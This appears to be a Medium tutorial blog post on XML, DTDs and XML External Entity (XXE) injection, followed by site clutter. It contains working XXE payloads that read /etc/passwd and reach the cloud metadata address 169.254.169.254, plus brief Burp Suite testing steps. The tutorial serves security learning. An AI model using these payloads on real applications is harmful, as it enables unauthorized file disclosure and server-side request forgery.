Markup Language: What is XML?

<!DOCTYPE note 
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)> --> Defines "to" element to be of type #PCDATA
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]
>
NOTE: #PCDATA means parseable character data.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note> --> ROOT element (compulsory)
<to>falcon</to> --> Children element
<from>feast</from> --> Children element
<heading>hacking</heading> --> Children element
<body>XXE attack</body> --> Children element
</note>
  • Internal — Entity defined within local DTD.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "forexample">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
Output: Hello John forexample
  • External — Entity defined outside of local DTD through the use of keyword “SYSTEM”.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
Output: Hello John root:x:0:0:root<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
  1. Test how the application works by inputting values to the form → Turn on the interceptor in Burp Suite.
  2. You can see that the application is using XML to transport data → We can then try to inject our code to exploit XML vulnerability.

--

--

--

A food lover, a cyber security enthusiast, a musician and a traveller, so you will see a mix of different contents in my blog. ☺️

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

BACK END CONCEPT

Creating a segmented progress bar in SwiftUI with Swift Playgrounds

It started with a Promise

Man with many hats on his head, while in a prayer squatting position

Frontend Weekly Digest #220 (19–25 July 2021)

Do you sigme?

How to generate a UPC-E barcode as a PNG file in Node.JS

How to Quickly Extract the Email Addresses from the Tables in Your Outlook Email

Calling Express API in React using react-script

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
goay xuan hui

goay xuan hui

A food lover, a cyber security enthusiast, a musician and a traveller, so you will see a mix of different contents in my blog. ☺️

More from Medium

{Day 5 flex direction}

How to begin a new project

Erik’s F1 Blog: #1 (2021, Year in Review)

Max Verstappen takes a knee after winning the championship race in Abu Dhabi

DRESS-UP DAY